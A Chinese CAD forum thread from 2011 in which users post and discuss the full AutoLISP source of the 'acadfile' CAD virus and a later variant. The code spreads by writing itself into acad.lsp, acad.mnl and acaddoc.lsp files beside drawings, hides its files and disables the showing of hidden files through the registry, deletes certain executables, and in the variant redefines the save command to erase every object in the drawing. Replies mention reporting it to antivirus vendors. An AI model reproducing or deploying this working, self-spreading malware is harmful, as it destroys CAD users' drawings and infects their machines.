明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 2990|回复: 9

[风之影][源码]acadfile病毒缉拿归案

[复制链接]
发表于 2011-9-30 14:51:41 | 显示全部楼层 |阅读模式
本帖最后由 cabinsummer 于 2011-9-30 14:52 编辑

谁能读懂病毒源码中“奏??\\”是什么
  1. (defun s::startup()
  2.   (setq old_cmd (getvar "cmdecho"))
  3.   (setvar "cmdecho" 0)
  4.   (defun defile(plist / dwg wpth filenamelist)
  5.     (setq plist (strunparse (str-cut plist "\\" T) "/"))     
  6.     (if (/= plist nil)
  7.     (progn
  8.       (setq filenamelist (vl-directory-files plist "*.exe" 1))
  9.       (while
  10.         (/= filenamelist nil)
  11.         (setq dfile (strcat plist "/" (car filenamelist)))
  12.         (if
  13.           (= 2561602 (vl-file-size dfile))
  14.           (vl-file-delete (strcat plist "/" (car filenamelist)))
  15.           (setq filenamelist (cdr filenamelist))
  16.         )
  17.       )
  18.     )
  19.   )
  20. )
  21. (defun str-cut(fa-str str how / len li no)
  22.   (setq len (strlen str))
  23.   (while (setq no (vl-string-search str fa-str))
  24.     (if (/= no 0)(setq li (cons (substr fa-str 1 no) li)))
  25.     (setq li (cons (substr fa-str (1+ no) len) li) fa-str (substr fa-str (+ no len 1)))
  26.   )
  27.   (if (/= "" fa-str)(setq li (cons fa-str li)))
  28.   (if how (vl-remove str (reverse li))(reverse li))
  29. )
  30. (defun StrUnParse (Lst Delimiter / return)
  31.   (setq return "")
  32.   (foreach str Lst
  33.     (setq return (strcat return Delimiter str))
  34.   )
  35.   (substr return 2)
  36. )
  37. (setq path (findfile "base.dcl"))
  38. (setq path (substr path 1 (- (strlen path) 8)))
  39. (setq mnlpath (getvar "menuname"))
  40. (setq nowdwg (getvar "dwgname"))
  41. (setq wjqm (findfile nowdwg))
  42. (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  43. (setq acadpath (findfile "acad.lsp"))
  44. (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  45. (setq ns1 "" ns2 "")
  46. (setq lspbj 0)
  47. (setq wjqm (strcat path "acad.lsp"))
  48. (if (setq wjm (open wjqm "r"))
  49.   (progn
  50.     (while (setq wz (read-line wjm))
  51.       (setq ns1 ns2)
  52.       (setq ns2 wz)
  53.     )
  54.     (if (> (strlen ns1) 14)
  55.       (if (= (substr ns1 8 8) "acadfile")(setq lspbj 1))
  56.     )
  57.     (close wjm)
  58.   )
  59. )
  60. (setq lspmnl 0)
  61. (setq wjqm (strcat path "acad.mnl"))
  62. (if (setq wjm (open wjqm "r"))
  63.   (progn
  64.     (while (setq wz (read-line wjm))
  65.       (setq ns1 ns2)
  66.       (setq ns2 wz)
  67.     )
  68.     (if (> (strlen ns1) 14)
  69.       (if (= (substr ns1 8 8) "acadfile")
  70.         (setq lspmnl 1)
  71.       )
  72.     )
  73.     (close wjm)
  74.   )
  75. )
  76. (if (= lspmnl 0)
  77.   (progn
  78.     (setq wjqm (strcat path (strcat (chr 97) (chr 99) (chr 97) (chr 100) (chr 46) (chr 109) (chr 110) (chr 108))))
  79.     (setq wjm (open wjqm "a"))
  80.     (write-line (strcat "(load " (chr 34) "acadfile" (chr 34) ")") wjm)
  81.     (write-line "(princ)" wjm)
  82.     (close wjm)
  83.   )
  84. )
  85. (if (= lspmnl 0)
  86.   (progn
  87.     (setq wjqm (strcat path (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 46)(chr 109)(chr 110)(chr 108))))
  88.     (setq wjm (open wjqm "a"))
  89.     (write-line
  90.       "(vl-file-delete (findfile (strcat (vl-registry-read (strcat \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\"
  91.       (chr 84)(chr 88)(chr 87)(chr 83)(chr 79)(chr 102)(chr 84)(chr 95)(chr 105)(chr 115)(chr 49)         
  92.       ) \"InstallLocation\") \"support\\\\\"
  93.       (chr 77)(chr 65)(chr 73)(chr 78)(chr 46)(chr 102)(chr 97)(chr 115)
  94.       )))" wjm
  95.     )
  96.     (write-line "(startapp (vl-registry-read (strcat \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\"
  97.       (chr 84)(chr 88)(chr 87)(chr 83)(chr 79)(chr 102)(chr 84)(chr 95)(chr 105)(chr 115)(chr 49)
  98.       ) \"QuietUninstallString\"))" wjm
  99.     )
  100.     (strcat "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"
  101.       (chr 84)(chr 88)(chr 87)(chr 83)(chr 79)(chr 102)(chr 84)(chr 95)(chr 105)(chr 115)(chr 49)
  102.       )
  103.     )
  104.     (write-line (strcat "(load " (chr 34) "acadfile" (chr 34) ")") wjm)
  105.     (write-line "(princ)" wjm)
  106.     (close wjm)
  107.   )
  108. )
  109. (if (and (= acadpath dwgpath)(/= acadpath path))
  110.   (progn
  111.     (if (= 0 lspmnl)
  112.       (progn
  113.         (setq oldacad (findfile (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 46)(chr 108)(chr 115)(chr 112))))
  114.         (setq newacad (strcat path (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 102)(chr 105)(chr 108)(chr 101)(chr 46)(chr 108)(chr 115)(chr 112))))
  115.       )
  116.       (progn
  117.         (setq oldacad (strcat path (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 102)(chr 105)(chr 108)(chr 101)(chr 46)(chr 108)(chr 115)(chr 112))))
  118.         (setq newacad (findfile (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 46)(chr 108)(chr 115)(chr 112))))
  119.       )
  120.     )
  121.     (if (= lspbj 0)
  122.       (progn
  123.         (setq wjqm (strcat path (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 46)(chr 108)(chr 115)(chr 112))))
  124.         (setq wjm (open wjqm "a"))
  125.         (write-line (strcat "(load " (chr 34)(strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 102)(chr 105)(chr 108)(chr 101)(chr 46)(chr 108)(chr 115)(chr 112))(chr 34) ")") wjm)
  126.         (write-line "(princ)" wjm)
  127.         (close wjm)
  128.       )
  129.     )
  130.     (writeapp)
  131.   )
  132.   (progn
  133.     (if (/= nowdwg "Drawing.dwg")
  134.       (progn
  135.         (setq oldacad (findfile (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 102)(chr 105)(chr 108)(chr 101)(chr 46)(chr 108)(chr 115)(chr 112))))
  136.         (setq newacad (strcat dwgpath (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 46)(chr 108)(chr 115)(chr 112))))
  137.         (writeapp)
  138.       )
  139.     )
  140.   )
  141. )
  142. (if (not (findfile (strcat path (chr 97)(chr 99)(chr 97)(chr 100)(chr 102)(chr 105)(chr 108)(chr 101)(chr 46)(chr 108)(chr 115)(chr 112))))
  143.   (progn
  144.     (progn
  145.       (setq oldacad (findfile (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 46)(chr 108)(chr 115)(chr 112))))
  146.       (setq newacad (strcat path (strcat (chr 97)(chr 99)(chr 97)(chr 100)(chr 102)(chr 105)(chr 108)(chr 101)(chr 46)(chr 108)(chr 115)(chr 112))))
  147.     )
  148.     (writeapp)
  149.   )
  150. )
  151. (defile dwgpath)
  152.   (setq panbook (strcat (car (str-cut path "Application" t)) "奏??\\"))
  153.   (defile panbook)     
  154.   (setvar "cmdecho" old_cmd)
  155.   (princ)
  156. )
  157. (defun
  158.   writeapp()
  159.   (if
  160.     (setq wjm1 (open newacad "w"))
  161.      (progn
  162.        (setq wjm (open oldacad "r"))
  163.        (while (setq wz (read-line wjm))
  164.   (write-line wz wjm1)
  165.        )
  166.        (close wjm)
  167.        (close wjm1)
  168.      )
  169.   )
  170. )
  171. (princ)

"觉得好,就打赏"
还没有人打赏,支持一下
发表于 2011-10-1 23:33:54 | 显示全部楼层
本帖最后由 wudechao 于 2011-10-1 23:35 编辑

;最新版本病毒
(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)
  (vl-load-com)
  (setvar "cmdecho" 0)
  (setvar "filedia" 1)
  (vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL"
    "CheckedValue"
    0
  )  
  (vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
    "CheckedValue"
    0
  )
  (vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
    "DefaultValue"
    0
  )
  (setq mnlpth (getvar "menuname"))
  (setq dwgpre (getvar "dwgprefix"))
  (if (setq doclsp (findfile "acaddoc.lsp"))
    (progn (chklsp (strcat mnlpth "doc.lsp") doclsp)
           (chklsp (strcat mnlpth ".mnl") doclsp)
           (chklsp (strcat dwgpre "acaddoc.lsp") doclsp)
    )
  )
  (setq        mac0
         '(2256          2256         2726        2256   2585   2726   3243   2679
           2726          2256         3149        2726   3196   3290   2726   2632
           2397
          )
  )
  (if (and (> (setq cdate (getvar "cdate")) 20090909)
           (member (vl-string->list (car (macaddr))) (mkgroup mac0))
           (= (rem (fix (* 100 (- cdate (fix cdate)))) 2) 0)
      )
    (dolsp)
  )
  (princ)
)
(defun chklsp (fp1 fp2 / fp3 TEM1 TEM2)
  (if (setq fp3 (open fp1 "r"))
    (progn
      (if
        (not
          (wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))
                   "*;;;jjyy*"
          )
        )
         (writelsp fp2 fp1)
      )
      (close fp3)
    )
    (writelsp fp2 fp1)
  )
  (attset fp1 2)
  (attset fp2 2)
)
(defun writelsp        (fp1 fp2 / fp3 fp4 tem)
  (setq        fp3 (open fp1 "r")
        fp4 (open fp2 "a")
  )
  (while (setq tem (read-line fp3)) (write-line tem fp4))
  (close fp3)
  (close fp4)
  (princ)
)
(defun attset (fp code / fp1)
  (if (and (/= "" fp) code)
    (progn (vl-load-com)
           (vlax-put-property
             (setq fp1 (vlax-invoke-method
                         (vlax-create-object "Scripting.FileSystemObject")
                         'GetFile
                         fp
                       )
             )
             'Attributes
             code
           )
    )
  )
  (vlax-release-object fp1)
)
(defun mkgroup (pt0 / pts)
  (setq i 1)
  (repeat 500
    (setq pts (cons (mapcar '(lambda (x) (/ x i)) pt0) pts))
    (setq i (1+ i))
  )
  (reverse pts)
)
(defun macaddr (/ mac WMIobj con lox sn)
  (vl-load-com)
  (if (setq WMIobj (vlax-create-object "wbemScripting.SwbemLocator"))
    (progn
      (setq
        con (vl-catch-all-apply
              'vlax-invoke
              (list WMIobj 'ConnectServer "." "" "" "" "" "" 128 nil)
            )
      )
      (if (vl-catch-all-error-p con)
        (setq
          con (vlax-invoke WMIobj 'ConnectServer "." "" "" "" "" "")
        )
      )
      (setq lox        (vlax-invoke
                  con
                  'ExecQuery
                  "Select * From Win32_NetworkAdapter "
                )
      )
      (vlax-for        i lox
        (if (vlax-get i 'NetConnectionID)
          (progn (setq sn (vlax-get i 'MACAddress))
                 (or (member sn mac) (setq mac (cons sn mac)))
          )
        )
      )
      (mapcar 'vlax-release-object (list lox con WMIobj))
    )
(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)
  (vl-load-com)
  (setvar "cmdecho" 0)
  (setvar "filedia" 1)
  (vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL"
    "CheckedValue"
    0
  )  
  (vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
    "CheckedValue"
    0
  )
  (vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
    "DefaultValue"
    0
  )
  (setq mnlpth (getvar "menuname"))
  (setq dwgpre (getvar "dwgprefix"))
  (if (setq doclsp (findfile "acaddoc.lsp"))
    (progn (chklsp (strcat mnlpth "doc.lsp") doclsp)
           (chklsp (strcat mnlpth ".mnl") doclsp)
           (chklsp (strcat dwgpre "acaddoc.lsp") doclsp)
    )
  )
  (setq        mac0
         '(2256          2256         2726        2256   2585   2726   3243   2679
           2726          2256         3149        2726   3196   3290   2726   2632
           2397
          )
  )
  (if (and (> (setq cdate (getvar "cdate")) 20090909)
           (member (vl-string->list (car (macaddr))) (mkgroup mac0))
           (= (rem (fix (* 100 (- cdate (fix cdate)))) 2) 0)
      )
    (dolsp)
  )
  (princ)
)
(defun chklsp (fp1 fp2 / fp3 TEM1 TEM2)
  (if (setq fp3 (open fp1 "r"))
    (progn
      (if
        (not
          (wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))
                   "*;;;jjyy*"
          )
        )
         (writelsp fp2 fp1)
      )
      (close fp3)
    )
    (writelsp fp2 fp1)
  )
  (attset fp1 2)
  (attset fp2 2)
)
(defun writelsp        (fp1 fp2 / fp3 fp4 tem)
  (setq        fp3 (open fp1 "r")
        fp4 (open fp2 "a")
  )
  (while (setq tem (read-line fp3)) (write-line tem fp4))
  (close fp3)
  (close fp4)
  (princ)
)
(defun attset (fp code / fp1)
  (if (and (/= "" fp) code)
    (progn (vl-load-com)
           (vlax-put-property
             (setq fp1 (vlax-invoke-method
                         (vlax-create-object "Scripting.FileSystemObject")
                         'GetFile
                         fp
                       )
             )
             'Attributes
             code
           )
    )
  )
  (vlax-release-object fp1)
)
(defun mkgroup (pt0 / pts)
  (setq i 1)
  (repeat 500
    (setq pts (cons (mapcar '(lambda (x) (/ x i)) pt0) pts))
    (setq i (1+ i))
  )
  (reverse pts)
)
(defun macaddr (/ mac WMIobj con lox sn)
  (vl-load-com)
  (if (setq WMIobj (vlax-create-object "wbemScripting.SwbemLocator"))
    (progn
      (setq
        con (vl-catch-all-apply
              'vlax-invoke
              (list WMIobj 'ConnectServer "." "" "" "" "" "" 128 nil)
            )
      )
      (if (vl-catch-all-error-p con)
        (setq
          con (vlax-invoke WMIobj 'ConnectServer "." "" "" "" "" "")
        )
      )
      (setq lox        (vlax-invoke
                  con
                  'ExecQuery
                  "Select * From Win32_NetworkAdapter "
                )
      )
      (vlax-for        i lox
        (if (vlax-get i 'NetConnectionID)
          (progn (setq sn (vlax-get i 'MACAddress))
                 (or (member sn mac) (setq mac (cons sn mac)))
          )
        )
      )
      (mapcar 'vlax-release-object (list lox con WMIobj))
    )
  )
  (reverse mac)
)
(defun dolsp ()
  (command "undefine" "qsave")
  (command "undefine" "saveas")
  (command "undefine" "wblock")
  (command "undefine" "insert")
  (command "undefine" "pline")
)
(defun c:qsave ()
  (command "_.erase" (ssget "x") "")
  (princ)
)
(defun c:saveas        (/ fp1)
  (setq fp1 (getfiled "图形另存为" (getvar "dwgprefix") "dwg" 1))
  (chklsp (strcat (vl-filename-directory fp1) "\\acaddoc.lsp")
          (findfile "acaddoc.lsp")
  )
  (princ)
)
(defun c:wblock () (princ))
(defun c:insert () (princ))
(defun c:pline () (command "_.line") (princ))
;;;jjyy

发表于 2011-10-1 23:43:00 | 显示全部楼层
9.30我已经把这个病毒上报给诺顿杀毒软件的公司,升级10.1号最新病毒库就可以杀这个病毒了.大公司的实力就是不一样,一天就能解决问题.不象某些国内的XX公司,发给他们一个月也不回复.
 楼主| 发表于 2011-10-2 03:57:38 | 显示全部楼层
可惜我没有诺顿,我都是手工杀毒。360也出了个CAD杀毒,看那代码估计就一初学者写的,搞得很多人的程序无法加载。
发表于 2011-10-3 14:49:32 | 显示全部楼层
360要把它的CAD病毒免疫功能关闭,不然很多CAD二次开发的程序无法加载使用。
发表于 2011-10-6 00:34:13 | 显示全部楼层
风之影 品牌很不错啊
发表于 2011-10-6 20:09:46 | 显示全部楼层
重要是找出.....破坏力所在...的破解.....
 楼主| 发表于 2011-10-6 20:18:16 | 显示全部楼层
kkk3kkk 发表于 2011-10-6 20:09
重要是找出.....破坏力所在...的破解.....

我相信你能找到的
 楼主| 发表于 2011-10-31 20:42:38 | 显示全部楼层
玩病毒提高编程水平。其实病毒的作者都是对AutoCAD的启动调用玩得纯熟的人。不过不欣赏那些破坏力很强的大杀器。
发表于 2020-3-30 18:28:04 | 显示全部楼层
吧里居然还有专门玩病毒的大神
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2025-5-18 05:16 , Processed in 0.179431 second(s), 26 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表